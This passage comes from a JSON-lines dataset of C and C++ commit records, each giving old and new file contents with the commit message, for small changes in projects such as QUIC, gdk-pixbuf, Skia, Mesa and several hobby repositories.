is a valid chain. On success, it\n  \/\/ returns QUIC_SUCCESS. On failure, it returns QUIC_FAILURE and sets\n  \/\/ |*error_details| to a description of the problem. In either case it may set\n  \/\/ |*details|, which the caller takes ownership of.\n  \/\/\n  \/\/ |context| specifies an implementation specific struct (which may be nullptr\n  \/\/ for some implementations) that provides useful information for the\n  \/\/ verifier, e.g. logging handles.\n  \/\/\n  \/\/ This function may also return QUIC_PENDING, in which case the\n  \/\/ ServerProofVerifier will call back, on the original thread, via |callback|\n  \/\/ when complete. In this case, the ServerProofVerifier will take ownership of\n  \/\/ |callback|.\n  virtual QuicAsyncStatus VerifyCertChain(\n      const std::vector<std::string>& certs,\n      std::string* error_details,\n      std::unique_ptr<ProofVerifierCallback> callback) = 0;\n};\n\n}  \/\/ namespace quic\n#endif  \/\/ QUICHE_QUIC_CORE_CRYPTO_SERVER_PROOF_VERIFIER_H_\n","subject":"Add a ServerProofVerifier interface to QUIC.","message":"Add a ServerProofVerifier interface to QUIC.\n\nThis is a server-side equivalent of ProofVerifier.  It is used to verify a\nclient's certificate chain.  It will only be used when the server needs to\nrequest client certificates.\n\nServerProofVerifier drops the VerifyProof() function (not used in TLS 1.3) and\nthe |hostname|, |ocsp_response|, and |cert_sct| parameters of VerifyCertChain()\n(those aren't really meaningful to a server).\n\nSee go\/quic-tls-client-certificates for the full design doc and context.\n\ngfe-relnote: no functional changes (only adds an interface).\nPiperOrigin-RevId: 291429810\nChange-Id: Ifd7deb6e72294b2626572b6555e3b5e2976b286e\n","lang":"C","license":"bsd-3-clause","repos":"google\/quiche,google\/quiche,google\/quiche,google\/quiche"}
{"commit":"de10afff330e862d976436c702ce77165888a1f2","old_file":"gdk-pixbuf\/gdk-pixbuf.h","new_file":"gdk-pixbuf\/gdk-pixbuf.h","old_contents":"#ifndef _GDK_PIXBUF_H_\n#define _GDK_PIXBUF_H_\n\n#include <libart_lgpl\/art_misc.h>\n#include <libart_lgpl\/art_pixbuf.h>\n\ntypedef struct {\n\tint ref_count;\n\tArtPixBuf *art_pixbuf;\n\tvoid (*unref_func)(void *gdkpixbuf);\n} GdkPixBuf;\n\nGdkPixBuf *gdk_pixbuf_load_image (const char *file);\nvoid       gdk_pixbuf_save_image (const char *format_id, const char *file, ...);\nvoid       gdk_pixbuf_ref        (GdkPixBuf *pixbuf);\nvoid       gdk_pixbuf_unref      (GdkPixBuf *pixbuf);\nGdkPixBuf *gdk_pixbuf_duplicate  (GdkPixBuf *pixbuf);\nGdkPixBuf *gdk_pixbuf_scale\t (GdkPixBuf *pixbuf, gint w, gint h);\nGdkPixBuf *gdk_pixbuf_rotate     (GdkPixBuf *pixbuf, gdouble angle);\n\nvoid\t   gdk_pixbuf_destroy    (GdkPixBuf *pixbuf);\n\n#endif \/* _GDK_PIXBUF_H_ *\/\n","new_contents":"#ifndef _GDK_PIXBUF_H_\n#define _GDK_PIXBUF_H_\n\n#include <libart_lgpl\/art_misc.h>\n#include <libart_lgpl\/art_pixbuf.h>\n#include <glib.h>\n\ntypedef struct {\n\tint ref_count;\n\tArtPixBuf *art_pixbuf;\n\tvoid (*unref_func)(void *gdkpixbuf);\n} GdkPixBuf;\n\nGdkPixBuf *gdk_pixbuf_load_image (const char *file);\nvoid       gdk_pixbuf_save_image (const char *format_id, const char *file, ...);\nvoid       gdk_pixbuf_ref        (GdkPixBuf *pixbuf);\nvoid       gdk_pixbuf_unref      (GdkPixBuf *pixbuf);\nGdkPixBuf *gdk_pixbuf_duplicate  (GdkPixBuf *pixbuf);\nGdkPixBuf *gdk_pixbuf_scale\t (GdkPixBuf *pixbuf, gint w, gint h);\nGdkPixBuf *gdk_pixbuf_rotate     (GdkPixBuf *pixbuf, gdouble angle);\n\nvoid\t   gdk_pixbuf_destroy    (GdkPixBuf *pixbuf);\n\n#endif \/* _GDK_PIXBUF_H_ *\/\n","subject":"Include glib.h as it uses g* datatypes Added for gnome-config","message":"Include glib.h as it uses g* datatypes Added for gnome-config\n\n1999-07-23  Richard Hestilow  <hestgray@ionet.net>\n\n        * src\/gdk-pixbuf.h: Include glib.h as it uses g* datatypes\n        * gdk_pixbufConf.sh.in: Added for gnome-config\n        * Makefile.am:\n        * configure.in: Modified to generate gdk_pixbufConf.sh\n","lang":"C","license":"lgpl-2.1","repos":"GNOME\/gdk-pixbuf,GNOME\/gdk-pixbuf,YueLinHo\/MB3Gdk-pixbuf,YueLinHo\/MB3Gdk-pixbuf,Distrotech\/gdk-pixbuf,YueLinHo\/MB3Gdk-pixbuf,Distrotech\/gdk-pixbuf,Distrotech\/gdk-pixbuf,GNOME\/gdk-pixbuf,GNOME\/gdk-pixbuf,djdeath\/gdk-pixbuf,YueLinHo\/MB3Gdk-pixbuf,YueLinHo\/MB3Gdk-pixbuf,Distrotech\/gdk-pixbuf,djdeath\/gdk-pixbuf,Distrotech\/gdk-pixbuf,djdeath\/gdk-pixbuf,djdeath\/gdk-pixbuf"}
{"commit":"0ef3023b55fd36cace3db6e95dfa650485e54569","old_file":"src\/OrbitBase\/include\/OrbitBase\/Result.h","new_file":"src\/OrbitBase\/include\/OrbitBase\/Result.h","old_contents":"\/\/ Copyright (c) 2020 The Orbit Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ORBIT_BASE_RESULT_H_\n#define ORBIT_BASE_RESULT_H_\n\n#include <string>\n#include <type_traits>\n\n#include \"outcome.hpp\"\n\nclass ErrorMessage final {\n public:\n  ErrorMessage() = default;\n  explicit ErrorMessage(std::string message) : message_(std::move(message)) {}\n\n  [[nodiscard]] const std::string& message() const { return message_; }\n\n private:\n  std::string message_;\n};\n\ntemplate <typename T, typename E>\nusing Result = outcome::result<T, E, outcome::policy::terminate>;\n\ntemplate <typename T>\nclass ErrorMessageOr : public Result<T, ErrorMessage> {\n public:\n  using Result<T, ErrorMessage>::Result;\n\n  operator bool() = delete;\n  operator bool() const = delete;\n};\n\ntemplate <typename T>\nstruct IsErrorMessageOr : std::false_type {};\n\ntemplate <typename T>\nstruct IsErrorMessageOr<ErrorMessageOr<T>> : std::true_type {};\n\n#endif  \/\/ ORBIT_BASE_RESULT_H_\n","new_contents":"\/\/ Copyright (c) 2020 The Orbit Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ORBIT_BASE_RESULT_H_\n#define ORBIT_BASE_RESULT_H_\n\n#include <string>\n#include <type_traits>\n\n#include \"outcome.hpp\"\n\nclass [[nodiscard]] ErrorMessage final {\n public:\n  ErrorMessage() = default;\n  explicit ErrorMessage(std::string message) : message_(std::move(message)) {}\n\n  [[nodiscard]] const std::string& message() const { return message_; }\n\n private:\n  std::string message_;\n};\n\ntemplate <typename T, typename E>\nusing Result = outcome::result<T, E, outcome::policy::terminate>;\n\ntemplate <typename T>\nclass [[nodiscard]] ErrorMessageOr : public Result<T, ErrorMessage> {\n public:\n  using Result<T, ErrorMessage>::Result;\n\n  operator bool() = delete;\n  operator bool() const = delete;\n};\n\ntemplate <typename T>\nstruct IsErrorMessageOr : std::false_type {};\n\ntemplate <typename T>\nstruct IsErrorMessageOr<ErrorMessageOr<T>> : std::true_type {};\n\n#endif  \/\/ ORBIT_BASE_RESULT_H_\n","subject":"Add nodiscard to ErrorMessage and ErrorMessageOr","message":"Add nodiscard to ErrorMessage and ErrorMessageOr\n\nTest: builds\n","lang":"C","license":"bsd-2-clause","repos":"google\/orbit,google\/orbit,google\/orbit,google\/orbit"}
{"commit":"70917f5a1ab1b56e80daf1f2056d73ccb925c19e","old_file":"src\/hello.c","new_file":"src\/hello.c","old_contents":"\/*\r\n * Challenger 1P Hello World Program for cc65.\r\n *\/\r\n\r\n#include <conio.h>\r\n\r\nint main(void)\r\n{\r\n    static const char hello_world[] =\r\n            \"Hello world!\\r\\ncc65 for Challenger 1P\";\r\n\r\n    unsigned int i;\r\n\r\n    clrscr();\r\n\r\n    gotoxy(0, 0);\r\n\r\n    cputs(hello_world);\r\n\r\n    gotoxy(0, 4);\r\n\r\n    for (i = 0; i < 256; i += 1) {\r\n        if (i != '\\n' && i != '\\r') {\r\n            cputc((unsigned char ) i);\r\n        }\r\n    }\r\n\r\n    cputsxy(0, 14, \"cputsxy\\r\\n\");\r\n\r\n    cprintf(\"cprintf '%s' %d %d\\r\\n\", \"string\", (int) wherex(), (int) wherey());\r\n    cputs(\"now type something:\\r\\n\");\r\n\r\n    while (1) {\r\n        char c = cgetc();\r\n        cputc(c);\r\n    }\r\n\r\n    return 0;\r\n}\r\n","new_contents":"\/*\r\n * Challenger 1P Hello World Program for cc65.\r\n *\/\r\n\r\n#include <conio.h>\r\n\r\nint main(void)\r\n{\r\n    static const char hello_world[] =\r\n            \"Hello world!\\r\\ncc65 for Challenger 1P\";\r\n\r\n    unsigned int i;\r\n\r\n    clrscr();\r\n\r\n    \/* TODO this should be implicitly done in clrscr() *\/\r\n    gotoxy(0, 0);\r\n\r\n    cputs(hello_world);\r\n\r\n    gotoxy(0, 4);\r\n\r\n    for (i = 0; i < 0x20; i += 1) {\r\n        if (i != '\\n' && i != '\\r') {\r\n            cputc((unsigned char ) i);\r\n        }\r\n    }\r\n\r\n    cputsxy(0, 8, \"cputsxy\\r\\n\");\r\n\r\n    cprintf(\"cprintf '%s' %d %d\\r\\n\", \"string\", (int) wherex(), (int) wherey());\r\n    cputs(\"now type something (vi keys for positioning, \"\r\n            \"'A' cursor on, 'B' cursor off):\\r\\n\");\r\n\r\n    \/* cursor on *\/\r\n    cursor(1);\r\n\r\n    while (1) {\r\n        unsigned char const xpos = wherex();\r\n        unsigned char const ypos = wherey();\r\n\r\n        char const c = cgetc();\r\n\r\n        \/* Test cursor on\/off and cursor positioning *\/\r\n        switch (c) {\r\n            case 'A':\r\n                cursor(1);\r\n                break;\r\n            case 'B':\r\n                cursor(0);\r\n                break;\r\n            case 'H':\r\n                if (xpos > 0) {\r\n                    gotox(xpos - 1);\r\n                }\r\n                break;\r\n            case 'L':\r\n                if (xpos < 24) {\r\n                    gotox(xpos + 1);\r\n                }\r\n                break;\r\n            case 'K':\r\n                if (ypos > 0) {\r\n                    gotoy(ypos - 1);\r\n                }\r\n                break;\r\n            case 'J':\r\n                if (ypos < 24) {\r\n                    gotoy(ypos + 1);\r\n                }\r\n                break;\r\n            default:\r\n                cputc(c);\r\n                break;\r\n        }\r\n    }\r\n\r\n    return 0;\r\n}\r\n","subject":"Test new cursor functionality now implemented in the c1p runtime library.","message":"Test new cursor functionality now implemented in the c1p\nruntime library.","lang":"C","license":"mit","repos":"smuehlst\/c1pctest,smuehlst\/c1pctest"}
{"commit":"cc49d646230696b642a1d94a372c38bd3105c25d","old_file":"include\/TextureHandle.h","new_file":"include\/TextureHandle.h","old_contents":"\/*! \\file TextureHandle.h\n *  \\author Jared Hoberock\n *  \\brief Defines the interface to an opaque\n *         pointer type for Textures.\n *\/\n\n#pragma once\n\n#include <string>\n\ntypedef unsigned int TextureHandle;\n\nstruct TextureParameter\n{\n  inline TextureParameter(void)\n    :mHandle(0),mAlias(\"\"){}\n\n  inline TextureParameter(const std::string &alias)\n    :mHandle(0),mAlias(alias){}\n\n  inline TextureParameter(const TextureHandle &h)\n    :mHandle(h),mAlias(\"\"){}\n\n  operator TextureHandle (void) const {return mHandle;}\n\n  TextureHandle mHandle;\n\n  \/\/ filename or other alias for a Texture to use during shading\n  \/\/ if this is not '' during preprocess, the texture referred to\n  \/\/ by this alias will be loaded and bound\n  std::string mAlias;\n}; \/\/ end TextureParameter\n\n","new_contents":"\/*! \\file TextureHandle.h\n *  \\author Jared Hoberock\n *  \\brief Defines the interface to an opaque\n *         pointer type for Textures.\n *\/\n\n#pragma once\n\n#include <string>\n\ntypedef unsigned int TextureHandle;\n\nstruct TextureParameter\n{\n  inline TextureParameter(void)\n    :mHandle(0),mAlias(\"\"){}\n\n  inline TextureParameter(const std::string &alias)\n    :mHandle(0),mAlias(alias){}\n\n  inline TextureParameter(const TextureHandle &h)\n    :mHandle(h),mAlias(\"\"){}\n\n  inline operator TextureHandle (void) const {return mHandle;}\n\n  TextureHandle mHandle;\n\n  \/\/ filename or other alias for a Texture to use during shading\n  \/\/ if this is not '' during preprocess, the texture referred to\n  \/\/ by this alias will be loaded and bound\n  std::string mAlias;\n}; \/\/ end TextureParameter\n\n","subject":"Make the cast operator inline for use with CUDA","message":"Make the cast operator inline for use with CUDA\n\n\ngit-svn-id: eeeef91d721e48f02083ec31b1220ddf564a51e4@1671 3bb10773-34f4-0310-b88c-ec9d511ba0d9\n","lang":"C","license":"apache-2.0","repos":"jaredhoberock\/gotham,jaredhoberock\/gotham,jaredhoberock\/gotham,jaredhoberock\/gotham,jaredhoberock\/gotham"}
{"commit":"32a03501ea2030314b9b610ea0181f1f60bce11e","old_file":"src\/a_samp.c","new_file":"src\/a_samp.c","old_contents":"\/* Copyright (C) 2011-2012 Zeex\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <sampgdk\/config.h>\n#include <sampgdk\/a_samp.h>\n#include <sampgdk\/export.h>\n\n#include \"fakeamx.h\"\n#include \"native.h\"\n#include \"timer.h\"\n\n#include \"generated\/a_samp-impl.c\"\n\nSAMPGDK_NATIVE(int, SetTimer(int interval, bool repeat, TimerCallback callback, void *param)) {\n\tint timerid;\n\n\tif (timer_set(&timerid, interval, repeat, (timer_callback)callback, param) >= 0) {\n\t\treturn timerid;\n\t}\n\treturn -1;\n}\n\nSAMPGDK_NATIVE(bool, KillTimer(int timerid)) {\n\treturn timer_kill(timerid) >= 0;\n}\n","new_contents":"\/* Copyright (C) 2011-2012 Zeex\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <sampgdk\/config.h>\n#include <sampgdk\/a_samp.h>\n#include <sampgdk\/export.h>\n\n#include \"fakeamx.h\"\n#include \"native.h\"\n#include \"timer.h\"\n\n#include \"generated\/a_samp-impl.c\"\n\nSAMPGDK_NATIVE(int, SetTimer(int interval, bool repeat, TimerCallback callback, void *param)) {\n\tint timerid;\n\n\tif (timer_set(&timerid, interval, repeat, (timer_callback)callback, param) >= 0) {\n\t\treturn timerid + 1;\n\t}\n\n\treturn 0;\n}\n\nSAMPGDK_NATIVE(bool, KillTimer(int timerid)) {\n\treturn timer_kill(timerid - 1) >= 0;\n}\n","subject":"Make timer ID's start with 1","message":"Make timer ID's start with 1\n","lang":"C","license":"apache-2.0","repos":"Zeex\/sampgdk,WopsS\/sampgdk,Zeex\/sampgdk,WopsS\/sampgdk,WopsS\/sampgdk,Zeex\/sampgdk"}
{"commit":"3073b5fabe5af86afa9bae6e644f6cc515e6c438","old_file":"src\/animator\/SkDump.h","new_file":"src\/animator\/SkDump.h","old_contents":"\n\/*\n * Copyright 2006 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#ifndef SkDump_DEFINED\n#define SkDump_DEFINED\n\n#include \"SkDisplayable.h\"\n#include \"SkMemberInfo.h\"\n\nclass SkAnimateMaker;\nclass SkString;\n\nclass SkDump : public SkDisplayable {\n    DECLARE_MEMBER_INFO(Dump);\n#ifdef SK_DUMP_ENABLED\n    SkDump();\n    bool enable(SkAnimateMaker & ) override;\n    bool evaluate(SkAnimateMaker &);\n    bool hasEnable() const override;\n    static void GetEnumString(SkDisplayTypes , int index, SkString* result);\n    SkBool displayList;\n    SkBool eventList;\n    SkBool events;\n    SkString name;\n    SkBool groups;\n    SkBool posts;\n    SkString script;\n#else\n    virtual bool enable(SkAnimateMaker & );\n    virtual bool hasEnable() const;\n    virtual bool setProperty(int index, SkScriptValue& );\n#endif\n};\n\n\n#endif \/\/ SkDump_DEFINED\n","new_contents":"\n\/*\n * Copyright 2006 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#ifndef SkDump_DEFINED\n#define SkDump_DEFINED\n\n#include \"SkDisplayable.h\"\n#include \"SkMemberInfo.h\"\n\nclass SkAnimateMaker;\nclass SkString;\n\nclass SkDump : public SkDisplayable {\n    DECLARE_MEMBER_INFO(Dump);\n#ifdef SK_DUMP_ENABLED\n    SkDump();\n    bool enable(SkAnimateMaker & ) override;\n    bool evaluate(SkAnimateMaker &);\n    bool hasEnable() const override;\n    static void GetEnumString(SkDisplayTypes , int index, SkString* result);\n    SkBool displayList;\n    SkBool eventList;\n    SkBool events;\n    SkString name;\n    SkBool groups;\n    SkBool posts;\n    SkString script;\n#else\n    bool enable(SkAnimateMaker & ) override;\n    bool hasEnable() const override;\n    bool setProperty(int index, SkScriptValue& ) override;\n#endif\n};\n\n\n#endif \/\/ SkDump_DEFINED\n","subject":"Fix a stray -Winconsistent-missing-override warning.","message":"Fix a stray -Winconsistent-missing-override warning.\n\nTBR=\n\nBUG=skia:\n\nReview URL: https:\/\/codereview.chromium.org\/1261043002\n","lang":"C","license":"bsd-3-clause","repos":"vanish87\/skia,ominux\/skia,todotodoo\/skia,noselhq\/skia,Hikari-no-Tenshi\/android_external_skia,nvoron23\/skia,tmpvar\/skia.cc,qrealka\/skia-hc,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,tmpvar\/skia.cc,HalCanary\/skia-hc,ominux\/skia,nvoron23\/skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,vanish87\/skia,vanish87\/skia,rubenvb\/skia,google\/skia,tmpvar\/skia.cc,todotodoo\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,todotodoo\/skia,nvoron23\/skia,ominux\/skia,noselhq\/skia,todotodoo\/skia,google\/skia,shahrzadmn\/skia,shahrzadmn\/skia,tmpvar\/skia.cc,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,shahrzadmn\/skia,HalCanary\/skia-hc,tmpvar\/skia.cc,tmpvar\/skia.cc,shahrzadmn\/skia,aosp-mirror\/platform_external_skia,shahrzadmn\/skia,rubenvb\/skia,qrealka\/skia-hc,shahrzadmn\/skia,ominux\/skia,HalCanary\/skia-hc,todotodoo\/skia,vanish87\/skia,google\/skia,ominux\/skia,ominux\/skia,google\/skia,aosp-mirror\/platform_external_skia,noselhq\/skia,qrealka\/skia-hc,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,qrealka\/skia-hc,nvoron23\/skia,rubenvb\/skia,tmpvar\/skia.cc,nvoron23\/skia,ominux\/skia,todotodoo\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,noselhq\/skia,qrealka\/skia-hc,HalCanary\/skia-hc,rubenvb\/skia,nvoron23\/skia,todotodoo\/skia,qrealka\/skia-hc,nvoron23\/skia,shahrzadmn\/skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,ominux\/skia,HalCanary\/skia-hc,todotodoo\/skia,nvoron23\/skia,noselhq\/skia,google\/skia,ominux\/skia,tmpvar\/skia.cc,google\/skia,vanish87\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,vanish87\/skia,shahrzadmn\/skia,google\/skia,tmpvar\/skia.cc,aosp-mirror\/platform_external_skia,noselhq\/skia,vanish87\/skia,qrealka\/skia-hc,nvoron23\/skia,shahrzadmn\/skia,google\/skia,noselhq\/skia,aosp-mirror\/platform_external_skia,noselhq\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,google\/skia,vanish87\/skia,qrealka\/skia-hc,noselhq\/skia,vanish87\/skia,aosp-mirror\/platform_external_skia,todotodoo\/skia"}
{"commit":"0bf4ae3f34ae754e770c7a46bb81a70c855c2795","old_file":"include\/msvc_hacks.h","new_file":"include\/msvc_hacks.h","old_contents":"","new_contents":"\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\/\/\n\/\/ Copyright (C) 2012-2016, Ryan P. Wilson\n\/\/\n\/\/      Authority FX, Inc.\n\/\/      www.authorityfx.com\n\n#ifndef AFX_MSVC_HACKS_H_\n#define AFX_MSVC_HACKS_H_\n\n\/\/ MSVC10 does not have C99 support. fmin and fmax functions are not available\n#ifdef _WIN32\n  float fminf(float a, float b) {\n    return std::min(a, b);\n  }\n  float fmaxf(float a, float b) {\n    return std::max(a, b);\n  }\n#endif\n\n#endif  \/\/ AFX_MSVC_HACKS_H_\n","subject":"Add file for msvc compile","message":"Add file for msvc compile\n","lang":"C","license":"mpl-2.0","repos":"AuthorityFX\/afx-nuke-plugins,AuthorityFX\/afx-nuke-plugins"}
{"commit":"e45e60c78fbffded0fb138ee7d60832132d53342","old_file":"src\/scanner\/scanner.h","new_file":"src\/scanner\/scanner.h","old_contents":"#ifndef OCELOT2_SCANNER_H\n#define OCELOT2_SCANNER_H\n\nvoid get_symbol();\n\n#endif \/\/ OCELOT2_SCANNER_H\n","new_contents":"#ifndef OCELOT2_SCANNER_H\n#define OCELOT2_SCANNER_H\n\n\/**\n * Tokens\n *\/\nint T_EOF;\n\nint current_symbol;\n\nvoid scanner_init();\nvoid scanner_token_init();\nvoid scanner_get_symbol();\n\n#endif \/\/ OCELOT2_SCANNER_H\n","subject":"Add first token, current_symbol and function prototypes","message":"Add first token, current_symbol and function prototypes\n","lang":"C","license":"mit","repos":"danielkocher\/ocelot2"}
{"commit":"5bfca9b16992084c279022c1086e555476131987","old_file":"src\/debug.h","new_file":"src\/debug.h","old_contents":"#ifndef __DEBUG_H\n#define __DEBUG_H\n\n#ifdef DEBUG\nextern bool debug;\nextern bool debug_z;\n\n#define DBG if (debug)\n#define MSG(x) DBG msg x\n#define PRECONDITION(x) if (x); else precondition( #x , __FILE__, __LINE__)\n#else\n#define DBG if (0)\n#define MSG(x)\n#define PRECONDITION(x) \/\/ nothing\n#endif\n\n#endif\n","new_contents":"#ifndef __DEBUG_H\n#define __DEBUG_H\n\n#ifdef DEBUG\nextern bool debug;\nextern bool debug_z;\n\n#define DBG if (debug)\n#define MSG(x) DBG msg x\n#else\n#define DBG if (0)\n#define MSG(x)\n#endif\n\n#if defined(DEBUG) || defined(PRECON)\n#define PRECONDITION(x) if (x); else precondition( #x , __FILE__, __LINE__)\n#else\n#define PRECONDITION(x) \/\/ nothing\n#endif\n\n#endif\n","subject":"Make PRECONDITION usable in isolation by compile time define PRECON.","message":"Make PRECONDITION usable in isolation by compile time define PRECON.\n","lang":"C","license":"lgpl-2.1","repos":"dicej\/icewm,dicej\/icewm,dicej\/icewm,dicej\/icewm"}
{"commit":"6dad07a76fce27591b93f1a9d39b86abe19efb0c","old_file":"src\/marks.c","new_file":"src\/marks.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#define MARK_SIZE 8\n\nint read_marks(float marks[])\n{\n    char mark[MARK_SIZE];\n    int c = 0;\n\n    for (int i = 0; i < 4; i++) { \n        c += 1;\n        printf(\"mark[%d]: \", i+1);\n        fgets(mark, sizeof(mark), stdin);\n        marks[i] = strtol(mark, NULL, 0);\n    }\n\n    return c;\n}\n\nfloat calculate_average(float marks[], int size)\n{\n    float sum = 0;\n\n    for (int i = 0; i < 4; i++)\n        sum += marks[i];\n\n    return sum \/ size;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#define MARK_SIZE 8\n\nint read_marks(float marks[])\n{\n    char mark[MARK_SIZE];\n    int c = 0;\n\n    for (int i = 0; i < 4; i++) { \n        c += 1;\n        printf(\"mark[%d]: \", i+1);\n        fgets(mark, sizeof(mark), stdin);\n        marks[i] = strtol(mark, NULL, 0);\n    }\n\n    return c;\n}\n\nfloat calculate_average(float marks[], int size)\n{\n    float sum = 0;\n\n    for (int i = 0; i < size; i++)\n        sum += marks[i];\n\n    return sum \/ size;\n}\n","subject":"Use the size of the array passed in","message":"Use the size of the array passed in\n\n* It'll work for any size array\n","lang":"C","license":"mit","repos":"azbshiri\/student"}
{"commit":"992ed68ed65b99fd76213cb355404f9a18e26da1","old_file":"src\/mesa\/main\/api_loopback.h","new_file":"src\/mesa\/main\/api_loopback.h","old_contents":"\/*\n * Mesa 3-D graphics library\n * Version:  3.5\n *\n * Copyright (C) 1999-2001  Brian Paul   All Rights Reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and\/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL\n * BRIAN PAUL BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN\n * AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n\n\n#ifndef API_LOOPBACK_H\n#define API_LOOPBACK_H\n\n#include \"main\/compiler.h\"\n#include \"main\/mfeatures.h\"\n\nstruct _glapi_table;\n\nextern void\n_mesa_loopback_init_api_table(const struct gl_context *ctx,\n                              struct _glapi_table *dest);\n\n#endif \/* API_LOOPBACK_H *\/\n","new_contents":"\/*\n * Mesa 3-D graphics library\n * Version:  3.5\n *\n * Copyright (C) 1999-2001  Brian Paul   All Rights Reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and\/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL\n * BRIAN PAUL BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN\n * AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n\n\n#ifndef API_LOOPBACK_H\n#define API_LOOPBACK_H\n\n#include \"main\/compiler.h\"\n#include \"main\/mfeatures.h\"\n\nstruct _glapi_table;\nstruct gl_context;\n\nextern void\n_mesa_loopback_init_api_table(const struct gl_context *ctx,\n                              struct _glapi_table *dest);\n\n#endif \/* API_LOOPBACK_H *\/\n","subject":"Fix warning ('struct gl_context' declared inside parameter list).","message":"main: Fix warning ('struct gl_context' declared inside parameter list).\n\nThis eliminates a warning in GCC 4.7.1.\n\nReviewed-by: Brian Paul <3cb4e1df5ec4da2c7c4af7c52cec8cf340a55a10@vmware.com>\nReviewed-by: Jordan Justen <a79006884ba9cf5f4f7fcbb92a15b208780d8c97@intel.com>\nReviewed-by: Ian Romanick <2b237cafb16dc45038e85df6c85e74e6d899eba9@intel.com>\n","lang":"C","license":"mit","repos":"metora\/MesaGLSLCompiler,mapbox\/glsl-optimizer,benaadams\/glsl-optimizer,tokyovigilante\/glsl-optimizer,zeux\/glsl-optimizer,zeux\/glsl-optimizer,bkaradzic\/glsl-optimizer,benaadams\/glsl-optimizer,mapbox\/glsl-optimizer,jbarczak\/glsl-optimizer,tokyovigilante\/glsl-optimizer,bkaradzic\/glsl-optimizer,zz85\/glsl-optimizer,jbarczak\/glsl-optimizer,wolf96\/glsl-optimizer,tokyovigilante\/glsl-optimizer,dellis1972\/glsl-optimizer,dellis1972\/glsl-optimizer,wolf96\/glsl-optimizer,mapbox\/glsl-optimizer,benaadams\/glsl-optimizer,zz85\/glsl-optimizer,dellis1972\/glsl-optimizer,bkaradzic\/glsl-optimizer,zeux\/glsl-optimizer,mapbox\/glsl-optimizer,wolf96\/glsl-optimizer,mcanthony\/glsl-optimizer,tokyovigilante\/glsl-optimizer,djreep81\/glsl-optimizer,benaadams\/glsl-optimizer,metora\/MesaGLSLCompiler,zz85\/glsl-optimizer,djreep81\/glsl-optimizer,djreep81\/glsl-optimizer,bkaradzic\/glsl-optimizer,jbarczak\/glsl-optimizer,mcanthony\/glsl-optimizer,wolf96\/glsl-optimizer,bkaradzic\/glsl-